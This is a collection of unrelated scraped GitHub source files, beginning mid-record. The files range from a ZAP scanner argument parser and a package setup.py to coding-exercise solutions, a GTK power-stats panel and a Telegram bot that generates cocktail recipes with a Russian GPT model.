),\n    parser.add_argument(\n        \"-c\",\n        \"--config-folder\",\n        help=\"The path to a local folder containing the additional ZAP configuration YAMLs used to configure OWASP ZAP.\",\n        default=\"/home/securecodebox/configs/\",\n        required=False,\n    )\n    parser.add_argument(\n        \"-t\",\n        \"--target\",\n        help=\"The target to scan with OWASP ZAP.\",\n        default=None,\n        required=True,\n    ),\n    parser.add_argument(\n        \"--context\",\n        help=\"The name of the context to use. Has to be included in the config file(s).\",\n        default=None,\n    ),\n    parser.add_argument(\n        \"-o\",\n        \"--output-folder\",\n        help=\"The path to a local folder used to store the output files, eg. the ZAP Report or logfiles.\",\n        default=\"./\",\n        required=False,\n    )\n    parser.add_argument(\n        \"-r\",\n        \"--report-type\",\n        help=\"The OWASP ZAP Report Type.\",\n        choices=[\"XML\", \"XML-plus\", \"JSON\", \"JSON-plus\", \"HTML\", \"HTML-plus\", \"MD\"],\n        default=None,\n        required=False,\n    )\n    return parser.parse_args(args)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"secureCodeBox/secureCodeBox","sub_path":"scanners/zap-advanced/scanner/zapclient/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":4221,"program_lang":"python","lang":"en","doc_type":"code","stars":647,"dataset":"github-code","pt":"60"}
+{"seq_id":"72556505471","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n#       OS : GNU/Linux Ubuntu 16.04 or 18.04\n# LANGUAGE : Python 3.5.2 or later\n#   AUTHOR : Klim V. O.\n#     DATE : 14.10.2019\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nfrom setuptools import setup, find_packages\nfrom typing import List\n\n\n__version__ = 1.1\n\n\ndef readme() -> List[str]:\n    with open('README.md', 'r', encoding='utf-8') as f_readme:\n        return f_readme.read()\n\n\ndef requirements() -> List[str]:\n    with open('requirements.txt', 'r', encoding='utf-8') as f_requirements:\n        return f_requirements.read()\n\n\nsetup(\n    name='rnnoise-wrapper',\n    packages=find_packages(),\n    include_package_data=True,\n    entry_points={\n        'console_scripts':\n            ['rnnoise_wrapper = rnnoise_wrapper.cli:denoise']\n        },\n    classifiers=[\n        'Intended Audience :: Developers',\n        'License :: OSI Approved :: Apache Software License',\n        'Programming Language :: Python',\n        'Programming Language :: Python :: 3.5',\n        'Programming Language :: Python :: 3.6',\n        'Programming Language :: Python :: 3.7',\n        'Programming Language :: Python :: 3.8',\n        'Topic :: Software Development :: Libraries',\n    ],\n    version=__version__,\n    install_requires=requirements(),\n    description='RNNoise_Wrapper is a simple wrapper to audio noise reduction RNNoise',\n    long_description=readme(),\n    long_description_content_type='text/markdown',\n    author='Vlad Klim',\n    author_email='valdsklim@gmail.com',\n    license='Apache 2.0',\n    url='https://github.com/Desklop/RNNoise_Wrapper',\n    keywords='noise noise-reduction noise-suppression denoiser denoise rnnoise rnn nn rtc dsp audio audio-processing wav nlp',\n    project_urls={\n        'Source': 'https://github.com/Desklop/RNNoise_Wrapper',\n    }\n)\n\n\nprint('\\nRNNoise_Wrapper is ready for work and defense!')\nprint('All information about this package is available at https://github.com/Desklop/RNNoise_Wrapper')\n\n# To build package run: python3 setup.py sdist bdist_wheel\n","repo_name":"Desklop/RNNoise_Wrapper","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2151,"program_lang":"python","lang":"en","doc_type":"code","stars":100,"dataset":"github-code","pt":"60"}
+{"seq_id":"5505320664","text":"def getFile(excelName,Router,Type,):\n    import os\n    import time\n    import os.path\n    import xlsxwriter\n    time_start=time.time()\n    print ('开始获取指定文件，路径，大小，创建时间')\n    #创建.xlsx文件\n    #workbook = xlsxwriter.Workbook('Star.xlsx')\n    workbook = xlsxwriter.Workbook(excelName)\n    worksheet = workbook.add_worksheet()\n    title = [U'文件路径',U'文件大小',U'创建时间',U'CMD命令']\n    worksheet.write_row('A1',title)\n    num = 1\n    Catalog = Router\n    print ('请稍等')\n    for i in os.walk(Catalog):\n        fileName = i[2]\n        print (fileName)\n        for n in fileName:\n            (file,fileType) = os.path.splitext(n)\n            if fileType == type:\n                #获取该类型文件完整路径\n                fileRoute = i[0] + '\\\\' + file + '.pdf'\n                #print (fileRoute)\n                #获取该类型文件文件大小\n                tempsize = os.path.getsize(fileRoute)\n                fileSize = str(tempsize)\n                #获取该类型文件的创建时间\n                startinfo = os.stat(fileRoute)\n                temptime = startinfo.st_mtime\n                fileTime = str(temptime)\n                cmd = 'copy \"' + fileRoute + '\" d:\\图纸\\\\'\n                #把获取到文件路径添加进EXCEL\n                data = [fileRoute,fileSize,fileTime,cmd]\n                q = q+1\n                temp = str(q)\n                row = 'A' + temp\n                #在EXCEL里插入数据\n                worksheet.write_row(row,data)\n    workbook.close()\n    time_end=time.time()\n    print('已完成,获取.pdf总共使用了',(str(time_end-time_start))[0:4],'s')\n\nif __name__==\"__main__\":\n    getFile('Star','E://','.pdf')\n","repo_name":"gexinchen/PythonTools","sub_path":"getFileRouter.py","file_name":"getFileRouter.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40660796165","text":"from car import Car\nimport requests\nimport json\nfrom race import Race\nfrom error import OutOfGazError\n\ndef get_token(identifier: str, password: str) -> str:\n    auth = requests.post(\n\t\turl=\"http://localhost:1337/auth/local\",\n\t\tdata={\n\t\t\t'identifier': identifier, \n\t\t\t'password': password,\n\t\t}\n    )\n    auth.raise_for_status()\n    token = 'Bearer ' + auth.json()['jwt']\n    return token\n\n   \ndef send_cars(token: str, cars: list[Car]) -> None:\n    for car in cars:\n        car_sent = requests.post(\n            url=\"http://localhost:1337/cars\",\n            data=json.dumps(dict(car)),\n            headers={\n                'Authorization': token,\t\n                'Content-Type': 'application/json',\n            }\n        )\n        car_sent.raise_for_status()\n\ndef remove_cars(token: str) -> None:\n    cars = requests.get(\n\t\turl=\"http://localhost:1337/cars\",\n\t\theaders={\"Authorization\": token},\n    )\n    car_dict = cars.json()\n    for car in car_dict:\n        requests.delete(\n\t\t\turl=\"http://localhost:1337/cars\" + f\"/{car['id']}\",\n\t\t\theaders={\"Authorization\": token},\n        )\n\ndef print_cars_from_db(token: str) -> None:\n    cars = requests.get(\n\t\turl=\"http://localhost:1337/cars\",\n\t\theaders={\"Authorization\": token}\n    )\n    cars.raise_for_status()\n    print(cars.json())\n   \n \ndef create_race(token: str, race: Race) -> None:\n    response = requests.get(\n        url=\"http://localhost:1337/cars\",\n        params={\"name\": [\n        \tcar.name\n        \tfor car in race.cars\n    \t]},\n        headers={'Authorization': token}\n    )\n    response = requests.post(\n        url=\"http://localhost:1337/races\",\n        data=json.dumps({\n            'name' : race.name,\n            'cars': [\n\t\t\t\tcar['id']\n\t\t\t\tfor car in response.json()\n\t\t\t]\n        }),\n        headers={\n            'Authorization': token,\t\n            'Content-Type': 'application/json',\n        }\n    )\n    \ndef _put_results_in_db(token: str, cars: list[dict], race_id: str) -> None:\n    cars = [\n        {\n            \"time\": car['move_time'].move_time if isinstance(car['move_time'], OutOfGazError) else car['move_time'], \n            \"name\": car['car'].name,\n            \"car\": car['car'],\n            \"ranked\": False if isinstance(car['move_time'], OutOfGazError) else True,\n            \"unit_in_time\": car['unit_in_time'],\n        }\n        for car in cars\n    ]\n    for car in cars:\n        response = requests.get(\n            url=\"http://localhost:1337/cars\",\n            params={\"name\": car['name']},\n            headers={'Authorization': token}\n        )\n        requests.post(\n            url=\"http://localhost:1337/results\",\n            data=json.dumps({\n                'time': round(car['time'], 3) if car['unit_in_time'] is True else None,\n                'distance': car['time'] * car['car'].maximum_speed if car['unit_in_time'] is False else None,\n                'ranked': car['ranked'],\n                'car': response.json()[0]['id'],\n                'race': race_id\n            }),\n            headers={\n                'Authorization': token,\t\n                'Content-Type': 'application/json',\n            }\n        )\n    \n    \ndef create_results(token: str, race: Race, results: list[dict]) -> None:\n    response = requests.get(\n        url=\"http://localhost:1337/races\",\n        params={\"name\": race.name},\n        headers={\n            'Authorization': token,\t\n            'Content-Type': 'application/json',\n        }\n    )\n    race_id = response.json()[0]['id']\n    _put_results_in_db(token, results, race_id)\n\n","repo_name":"pbrochar/car_strapi","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":3505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36042423771","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\nfrom collections import defaultdict\n\n# Complete the countTriplets function below.\ndef countTriplets(arr, r):\n    m1, m2 = defaultdict(int), defaultdict(int)\n    triplets = 0\n    for i in reversed(arr):\n        if((i*r) in m2):\n            triplets += m2[i * r]\n        if((i*r) in m1):\n            m2[i] += m1[i * r]\n        m1[i] += 1\n    return(triplets)\nif __name__ == '__main__':\n    fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n    nr = input().rstrip().split()\n\n    n = int(nr[0])\n\n    r = int(nr[1])\n\n    arr = list(map(int, input().rstrip().split()))\n\n    ans = countTriplets(arr, r)\n\n    fptr.write(str(ans) + '\\n')\n\n    fptr.close()\n","repo_name":"DevashishPathrabe/Hackerrank","sub_path":"HackerRank Solutions/Interview Preparation Kit/Dictionaries and Hashmaps/Count Triplets.py","file_name":"Count Triplets.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"38740574476","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n@Comment    : 类型工具\n@Time       : 2019/2/28 11:16\n@Author     : libaojie\n@File       : type_tool.py\n@Software   : PyCharm\n\"\"\"\nfrom project.app.plugins.log_tool import LogTool\n\n\nclass TypeTool(object):\n    \"\"\"\n    类型工具\n    \"\"\"\n\n    @staticmethod\n    def change_to_int(numb):\n        \"\"\"\n        转化为int\n        :param numb:\n        :return:\n        \"\"\"\n        _result = None\n\n        if isinstance(numb, str)  or isinstance(numb, float):\n            try:\n                _result = int(numb)\n            except Exception as e:\n                LogTool.error(\"{0}转int失败：{1}\".format(type(numb), numb))\n            finally:\n                return _result\n\n        return _result\n\n    @staticmethod\n    def is_null(val):\n        '''\n        检测不明类型是否为空\n        :param val:\n        :return:\n        '''\n        if val is None:\n            return True\n\n        if isinstance(val, str) and val.strip() == '':\n            return True\n\n        if isinstance(val, list) and len(val) == 0:\n            return True\n\n        return False\n","repo_name":"libaojie/python_flask","sub_path":"project/app/plugins/type_tool.py","file_name":"type_tool.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72090348032","text":"\"\"\"This module provides general tlp-stat functions for the UI.\"\"\"\n\nimport gi\ngi.require_version('Gtk', '3.0')\nfrom gi.repository import Gtk\n\nfrom . import language\nfrom . import settingshelper\nfrom .uihelper import get_theme_image, get_graphical_sudo\n\n\ndef fetch_simple_stats(_, textbuffer: Gtk.TextBuffer) -> None:\n    \"\"\"Fetch simple tlp-stat information.\"\"\"\n    simple_stat_command = [\"tlp-stat\", \"-r\", \"-t\", \"-c\", \"-s\", \"-u\"]\n    tlp_stat_output = settingshelper.exec_command(simple_stat_command)\n    textbuffer.set_text(tlp_stat_output)\n\n\ndef fetch_complete_stats(_, textbuffer: Gtk.TextBuffer) -> None:\n    \"\"\"Fetch complete tlp-stat information.\"\"\"\n    sudo_cmd = get_graphical_sudo()\n\n    if sudo_cmd is None:\n        return\n\n    tlp_stat_output = settingshelper.exec_command([sudo_cmd, \"tlp-stat\"])\n    textbuffer.set_text(tlp_stat_output)\n\n\ndef create_stat_box() -> Gtk.Box:\n    \"\"\"Create box with stat widgets.\"\"\"\n    scrolledwindow = Gtk.ScrolledWindow()\n    scrolledwindow.set_hexpand(True)\n    scrolledwindow.set_vexpand(True)\n\n    textbuffer = Gtk.TextBuffer()\n    textbuffer.set_text(language.ST_('Click fetch button to receive results'))\n\n    textview = Gtk.TextView()\n    textview.set_buffer(textbuffer)\n    textview.set_editable(False)\n\n    scrolledwindow.add(textview)\n\n    emptylabel = Gtk.Label()\n\n    fetchsimplebutton = Gtk.Button(label=' {}'.format(language.ST_('Simple')),\n                                   image=get_theme_image('dialog-information-symbolic', Gtk.IconSize.BUTTON))\n    fetchsimplebutton.connect('clicked', fetch_simple_stats, textbuffer)\n    fetchsimplebutton.set_always_show_image(True)\n\n    fetchcompletebutton = Gtk.Button(label=' {}'.format(language.ST_('Complete')),\n                                     image=get_theme_image('format-indent-more-symbolic', Gtk.IconSize.BUTTON))\n    fetchcompletebutton.connect('clicked', fetch_complete_stats, textbuffer)\n    fetchcompletebutton.set_always_show_image(True)\n\n    buttonbox = Gtk.Box(orientation=Gtk.Orientation.HORIZONTAL, spacing=12)\n    buttonbox.pack_start(emptylabel, True, True, 0)\n    buttonbox.pack_start(fetchsimplebutton, False, False, 0)\n    buttonbox.pack_start(fetchcompletebutton, False, False, 0)\n\n    statbox = Gtk.Box(orientation=Gtk.Orientation.VERTICAL, spacing=12)\n    statbox.set_margin_top(18)\n    statbox.set_margin_bottom(18)\n    statbox.set_margin_left(18)\n    statbox.set_margin_right(18)\n    statbox.pack_start(buttonbox, False, False, 0)\n    statbox.pack_start(scrolledwindow, True, True, 0)\n\n    return statbox\n","repo_name":"d4nj1/TLPUI","sub_path":"tlpui/statui.py","file_name":"statui.py","file_ext":"py","file_size_in_byte":2538,"program_lang":"python","lang":"en","doc_type":"code","stars":938,"dataset":"github-code","pt":"60"}
+{"seq_id":"18735203188","text":"\n############################################\nprint(\"\\n\\n\\n\\n\\n\" + \">>>:\"), print()  # Spaces for convention only!\n############################################\n\n\n\n\nprompt = \"\\nTell me what topping you want your pizza with?\"\nprompt += \"\\nEnter 'quit' to end the program. \"\n\nactive = True\nwhile active != False:\n    message = input(prompt)\n\n    if message != 'quit':\n        print(f\"I'll add {message.title()} topping to the pizza!\")\n    else:\n        break\n\n\n\n############################################\nprint('\\n')  # Spaces for convention only!\n############################################\n","repo_name":"nabily4e-dev/python_c_c_2e_work","sub_path":"Ch7 User Input and while Loops/Try It Yourself/7-6_three_exits.py","file_name":"7-6_three_exits.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38946808706","text":"import pandas as pd\n\nfrom displayData import display_data\nfrom dataConvert import convert\n\n\ndef delete_data():\n    file = display_data()\n\n    df = pd.read_csv(file[0])\n\n    choice = input(\"Выберите колонну: \")\n    print(f\"Выбрана колонна - {choice}\")\n    choice_value = convert(df, choice, input(\"Выберите значение: \"))\n    df = df.drop(df[df[choice] == choice_value].index)\n\n    df.to_csv(file[0], index=False)\n    print(df.to_string(index=False))\n","repo_name":"Arnal31/NoSQL_DataBase","sub_path":"deleteData.py","file_name":"deleteData.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15604842274","text":"class Solution:\n    # O(n) time | O(1) space - where n is the length of the input array\n    def validMountainArray(self, arr: List[int]) -> bool:\n        i, n = 0, len(arr)\n        while i + 1 < n and arr[i] < arr[i + 1]:\n            i += 1\n\n        if i == 0 or i == n - 1:\n            return False\n        \n        while i + 1 < n and arr[i] > arr[i + 1]:\n            i += 1\n        \n        return i == n - 1\n","repo_name":"weilincheng/LeetCode-practice","sub_path":"array/941_valid_mountain_array.py","file_name":"941_valid_mountain_array.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"21111923098","text":"\"\"\"Uma fruteira está vendendo frutas com a seguinte tabela de preços:\n                      Até 5 Kg           Acima de 5 Kg\nMorango         R$ 2,50 por Kg          R$ 2,20 por Kg\nMaçã            R$ 1,80 por Kg          R$ 1,50 por Kg\nSe o cliente comprar mais de 8 Kg em frutas ou o valor total da compra ultrapassar R$ 25,00, receberá ainda um desconto de 10% sobre este total. Escreva um algoritmo para ler a quantidade (em Kg) de morangos e a quantidade (em Kg) de maças adquiridas e escreva o valor a ser pago pelo cliente.\"\"\"\n\n\nqt_mo = float(input('Quantos kgs de morango? '))\nqt_ma = float(input('Quantos kgs de maça? '))\np_mo = 0\np_ma = 0\nif qt_mo < 5:\n    p_mo = qt_mo * 2.50\nelse:\n    p_mo = qt_mo * 2.20\n\nif qt_ma < 5:\n    p_ma = qt_ma * 1.80\nelse:\n    p_ma = qt_ma *  1.50\np_geral = p_mo + p_ma\n\n\nif qt_mo + qt_ma >= 8 or p_geral > 25:\n    p_geral = p_geral - (p_geral*0.10)\n\nprint('Valor a ser pago: ', p_geral)","repo_name":"0xJinbe/Exercicios-py","sub_path":"Ex 032.py","file_name":"Ex 032.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40023559287","text":"from typing import List\n\n\nclass Solution:\n    def maxProduct(self, nums: List[int]) -> int:\n        if len(nums) == 1:\n            return nums[0]\n        max_num = float(\"-inf\")\n        pres = [1]\n        for num in nums:\n            cur = []\n            for pre in pres:\n                _num = num * pre\n                cur.append(_num)\n                max_num = max(max_num, _num)\n            pres = [1, max(cur), min(cur)]\n        return max_num\n\n\nif __name__ == '__main__':\n    s = Solution()\n    print(s.maxProduct([2, 3, -2, 4]))\n    print(s.maxProduct([-2, 0, -1]))\n","repo_name":"yqkcn/leetcode","sub_path":"152.py","file_name":"152.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"2958487759","text":"from tkinter import *\r\n\r\n\r\ndef converter():\r\n    miles = float(miles_input.get())\r\n    km = miles * 1.609\r\n    kilometer_result_label.config(text=f\"{km}\")\r\n\r\n\r\nscreen = Tk()\r\nscreen.title(\"Miles to Kilometer Converter\")\r\nscreen.config(padx=30, pady=30)\r\n\r\nmiles_input = Entry(width=7)\r\nmiles_input.grid(column=1, row=0)\r\n\r\nmiles_label = Label(text=\"Miles\")\r\nmiles_label.grid(column=2, row=0)\r\n\r\nis_equal_label = Label(text=\"is equal to\")\r\nis_equal_label.grid(column=0, row=1)\r\n\r\nkilometer_result_label = Label(text=\"0\")\r\nkilometer_result_label.grid(column=1, row=1)\r\n\r\nkm_label = Label(text=\"Km\")\r\nkm_label.grid(column=2, row=1)\r\n\r\nconvert_btn = Button(text=\"Convert\", command=converter)\r\nconvert_btn.grid(column=1, row=2)\r\n\r\nscreen.mainloop()\r\n","repo_name":"Hnturk/Miles-To-Km","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"47570470049","text":"import os\nimport datetime\nimport csv\nimport logging\nimport random\nimport numpy as np\nimport pandas as pd\nfrom pandas.core.common import flatten\n\nfrom transformers import AutoTokenizer, AutoConfig, AutoModelForPreTraining, \\\n    GPT2Tokenizer, GPT2LMHeadModel\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import transforms, models\n# from PIL import Image\nfrom aiogram import Bot, Dispatcher, executor, types\nimport telegram\nfrom dotenv import load_dotenv\n\n\nimport markups as nav\nfrom mydataset import myDataset, SPECIAL_TOKENS, MAXLEN\nfrom static_text import *\n\n# Чтобы запустить токен, нужно скачать библиотеку load_dotenv, создать в папке проекта\n# ситемный файл .env и сохранить там переменную TOKEN. Пример ниже:\n# TOKEN = '4837j434fn7nv843cnm38'\nload_dotenv()\nTOKEN = os.getenv(\"TOKEN\")\nbot = Bot(token=TOKEN)\ndp = Dispatcher(bot)\n\nlogging.basicConfig(filename='log.txt', level=logging.INFO)\n\n\n# Загрузка готовых рецептов\ndf_result = pd.read_csv('ready_recipe.csv')\ndf_result.drop('Unnamed: 0', axis=1, inplace=True)\n\n# Объявление модели для создания рецепта\nMODEL = 'sberbank-ai/rugpt3small_based_on_gpt2'\n\ntokenizer = GPT2Tokenizer.from_pretrained(\n    MODEL)\ntokenizer.add_special_tokens(SPECIAL_TOKENS)\ndevice = torch.device('cuda')\nconfig = AutoConfig.from_pretrained(MODEL,\n                                    bos_token_id=tokenizer.bos_token_id,\n                                    eos_token_id=tokenizer.eos_token_id,\n                                    sep_token_id=tokenizer.sep_token_id,\n                                    pad_token_id=tokenizer.pad_token_id,\n                                    output_hidden_states=False)\n\nmodel = AutoModelForPreTraining.from_pretrained(MODEL, config=config)\nmodel.resize_token_embeddings(len(tokenizer))\nmodel.load_state_dict(torch.load('.\\model\\ALCO.pt',\n                                map_location=torch.device(device)))\nmodel.cuda()\n\n\n# Объявление модели для создания названия коктейля\nconfig = AutoConfig.from_pretrained(MODEL,\n                                    bos_token_id=tokenizer.bos_token_id,\n                                    eos_token_id=tokenizer.eos_token_id,\n                                    sep_token_id=tokenizer.sep_token_id,\n                                    pad_token_id=tokenizer.pad_token_id,\n                                    output_hidden_states=False)\nmodel_title = AutoModelForPreTraining.from_pretrained(MODEL, config=config)\nmodel_title.resize_token_embeddings(len(tokenizer))\nmodel_title.load_state_dict(torch.load(\n    '.\\model\\ALCO_title.pt', map_location=torch.device(device)))\nmodel_title.cuda()\n\n# Метод для обработки данных, введённых пользователем. В нём все буквы меняются в нижний регистр,\n# заменяются известные бренды на похожие ингредиенты, убираются лишние пробелы.\n# Разбивается строка на список ингредиентов, с учёом, что пользователи могут ввести разные сепараторы\ndef create_keywords(text_user):\n    text_user = text_user.lower()\n    text_user = text_user.replace('мартини', 'вермут',).replace(\n        'швепс', 'тоник').replace(\n        'пепси', 'кола').replace(\n        'пэпси', 'кола')\n    text_user = text_user.rstrip()\n    text_user = text_user.lstrip()\n    separators = [', ', ',', '. ', '.', ' ', '; ', ';']\n    for separator in separators:\n        if text_user.find(separator) != -1:\n            text_user = text_user.split(separator)\n            break\n    if type(text_user) == str:\n        text_user = [text_user]\n    return text_user\n\n# Метод для генерации рецептов на основе списка ингредиенты\ndef generate_recipe(text_user, kw):\n\n    title = \"\"\n    prompt = SPECIAL_TOKENS['bos_token'] + title + \\\n        SPECIAL_TOKENS['sep_token'] + kw + SPECIAL_TOKENS['sep_token']\n\n    generated = torch.tensor(tokenizer.encode(prompt)).unsqueeze(0)\n    device = torch.device(\"cuda\")\n    generated = generated.to(device)\n\n    model.eval()\n\n    return model.generate(generated,\n                        do_sample=True,\n                        min_length=50,\n                        max_length=MAXLEN,\n                        top_k=30,\n                        top_p=0.7,\n                        temperature=0.9,\n                        repetition_penalty=2.0,\n                        num_return_sequences=100\n                        )\n\n# Метод для выбора наиболее подходящих рецептов\ndef get_best_recipe(sample_outputs, title, keywords):\n\n    recipes = []\n\n    for i, sample_output in enumerate(sample_outputs):\n        text = tokenizer.decode(sample_output, skip_special_tokens=True)\n        a = len(title) + len(','.join(keywords))\n        recipes.append(\"{}\".format(text[a:]))\n\n    actual_recipe_dict = {}\n\n    for recipe in recipes:\n        for i in keywords:\n            if recipe.find(i.lower()[:-2]) != -1:\n                if recipe in actual_recipe_dict:\n                    actual_recipe_dict[recipe] += 1\n                else:\n                    actual_recipe_dict[recipe] = 1\n\n    return sorted(actual_recipe_dict.items(), key=lambda x: -x[1])\n\n# Метод для генерации названия рецептов на основе выбранного сгенерированного\n# рецепта\ndef generate_title(keywords, recipe, kw):\n\n    prompt = SPECIAL_TOKENS['bos_token'] + recipe + \\\n        SPECIAL_TOKENS['sep_token'] + kw + SPECIAL_TOKENS['sep_token']\n\n    generated_title = torch.tensor(tokenizer.encode(prompt)).unsqueeze(0)\n    device = torch.device(\"cuda\")\n    generated_title = generated_title.to(device)\n\n    model_title.eval()\n\n    return model_title.generate(generated_title,\n                                do_sample=True,\n                                min_length=50,\n                                max_length=MAXLEN,\n                                top_k=30,\n                                top_p=0.7,\n                                temperature=0.93,\n                                repetition_penalty=2.0,\n                                num_return_sequences=100\n                                )\n\n# Метод для выбора названия рецептов \ndef get_random_title(sample_outputs_title, recipe, keywords):\n\n    titles = []\n\n    for i, sample_output in enumerate(sample_outputs_title):\n        text = tokenizer.decode(sample_output, skip_special_tokens=True)\n        a = len(recipe) + len(','.join(keywords))\n        titles.append(\"{}\".format(text[a:]))\n        \n    set_title = set(titles)\n    \n    random_titles = []\n    for title in set_title:\n        if len(title.split()) > 1:\n            random_titles.append(title)\n    return random.choices(random_titles, k=1)\n\n# Метод для выбора наиболее подходящего существующего рецепта\n# на основе списка ингредиентов\ndef get_ready_recipe(keywords, df_result=df_result):\n\n    ready_recipe_dict = {}\n\n    for index, row in df_result.iterrows():\n        for keyword in keywords:\n            if row.ingridients.find(keyword) != -1:\n                if index in ready_recipe_dict:\n                    ready_recipe_dict[index] += 1\n                else:\n                    ready_recipe_dict[index] = 1\n\n    if ready_recipe_dict:\n        max_ready_dict = max(ready_recipe_dict.values())\n        ready_recipe = []\n        for k, v in ready_recipe_dict.items():\n            if v == max_ready_dict:\n                ready_recipe.append(\n                    [df_result[\"name\"][k], df_result[\"recipe\"][k]])\n        return random.choices(ready_recipe, k=1)[0]\n    else:\n        return ['None']\n\n\n# Метод для выдачи сгенерированного рецепта, названия для этого рецепта\n# и существующего классического рецепта, содержащего введённые ингредиенты\ndef get_text(text_user):\n\n    keywords = create_keywords(text_user)\n\n    kw = myDataset.join_keywords(keywords, randomize=False)\n\n    sample_outputs_recipe = generate_recipe(text_user, kw)\n\n    sorted_tuple = get_best_recipe(sample_outputs_recipe, '', keywords)\n\n    sample_outputs_title = generate_title(keywords, sorted_tuple[0][0], kw)\n    recipe_title = get_random_title(\n        sample_outputs_title, sorted_tuple[0][0], keywords)\n    recipe = sorted_tuple[0][0].replace(' л ', ' мл ')\n\n    ready_recipe = get_ready_recipe(keywords)\n    if ('пиво' in keywords) and (recipe.find('пишо') != -1):\n        recipe = recipe.replace('пишо', 'пиво')\n\n    if len(ready_recipe) == 1:\n        output = (\n            f'<i>Рецепт от нашего бармена: </i>\\n\\n<b>{recipe_title[0]}</b>\\\n                \\n\\n {recipe}\\n\\n <i>Классический рецепт с такими игредиентами отсутствует</i>')\n    else:\n        output = (\n            f'<i>Рецепт от нашего бармена: </i> <b>\\n\\n{recipe_title[0]}</b>\\\n                \\n\\n {recipe}\\n\\n <i>Классический рецепт:</i> \\n\\n <b>{ready_recipe[0]}</b> \\n\\n {ready_recipe[1]} ')\n    logging.info(output)\n    return output\n\n\n# Команда для начала работы с ботом\n@dp.message_handler(commands=['start'])\nasync def send_welcome(message: types.Message):\n    user_name = message.from_user.first_name\n    user_id = message.from_user.id\n    text = HELLO_TEXT % user_name\n    logging.info(\n        f'First start from user_name = {user_name}, user_id = {user_id}')\n    await message.reply(text)\n\n# Проверяем входящие данные на НЕсоответствие типу \"photo\"\n@dp.message_handler(content_types=NON_TARGET_CONTENT_TYPES)\nasync def handle_docs_photo(message):\n    user_name = message.from_user.first_name\n    text = NON_TARGET_TEXT % user_name\n    await message.reply(text)\n\n# Проверяем входящие данные на соответствие типу \"text\"\n@dp.message_handler(content_types=['text'])\nasync def handle_docs_photo(message: types.Message):\n    user_id = message.from_user.id\n    if message.text == 'FAQ':\n        i = open(\"input\\shpargalka.png\", 'rb')\n        await bot.send_photo(user_id, i)\n        await bot.send_message(message.from_user.id, 'Надеюсь, так стало понятнее. Введи ингредиенты через запятую!')\n\n    elif message.text == 'Начать сначала':\n        await bot.send_message(message.from_user.id, 'Введи ингредиенты через запятую:')\n\n    elif message.text == 'другое':\n        await bot.send_message(message.from_user.id, '➡️ Другое', reply_markup=nav.otherMenu)\n\n    else:\n        chat_id = message.chat.id\n\n        user_name = message.from_user.first_name\n        user_id = message.from_user.id\n        message_id = message.message_id\n\n        text = WAITING_TEXT\n\n        logging.info(f'{user_name, user_id} is knocking to our bot')\n\n        await bot.send_message(chat_id, text)\n        p = open(\".\\input\\8oVc.gif\", 'rb')\n        await bot.send_animation(chat_id, p)\n\n        input_text = message.text\n        logging.info(f'{user_name, user_id} send this text:{input_text}')\n        output_text = get_text(input_text)\n\n        await bot.send_message(chat_id, output_text, reply_markup=nav.mainMenu, parse_mode='html')\n\n# Метод для вывода кнопок в телеграме\n@dp.message_handler()\nasync def bot_message(message: types.Message):\n    chat_id = message.chat.id\n    if message.text == 'FAQ':\n        i = open(\"input\\shpargalka.png\", 'rb')\n        await bot.send_photo(chat_id, i)\n        await bot.send_message(message.from_user.id, 'Надеюсь, так стало понятнее. Введи ингредиенты через запятую!')\n\n    elif message.text == 'Начать сначала':\n        await bot.send_message(message.from_user.id, 'Введи ингредиенты через запятую:')\n\n    elif message.text == '➡️ Другое':\n        await bot.send_message(message.from_user.id, '➡️ Другое', reply_markup=nav.otherMenu)\n\n\n# Запуск бота в режиме длительного опроса\nif __name__ == '__main__':\n    executor.start_polling(dp, skip_updates=True)\n","repo_name":"liliya-ily/recipe_cocktails","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":12767,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
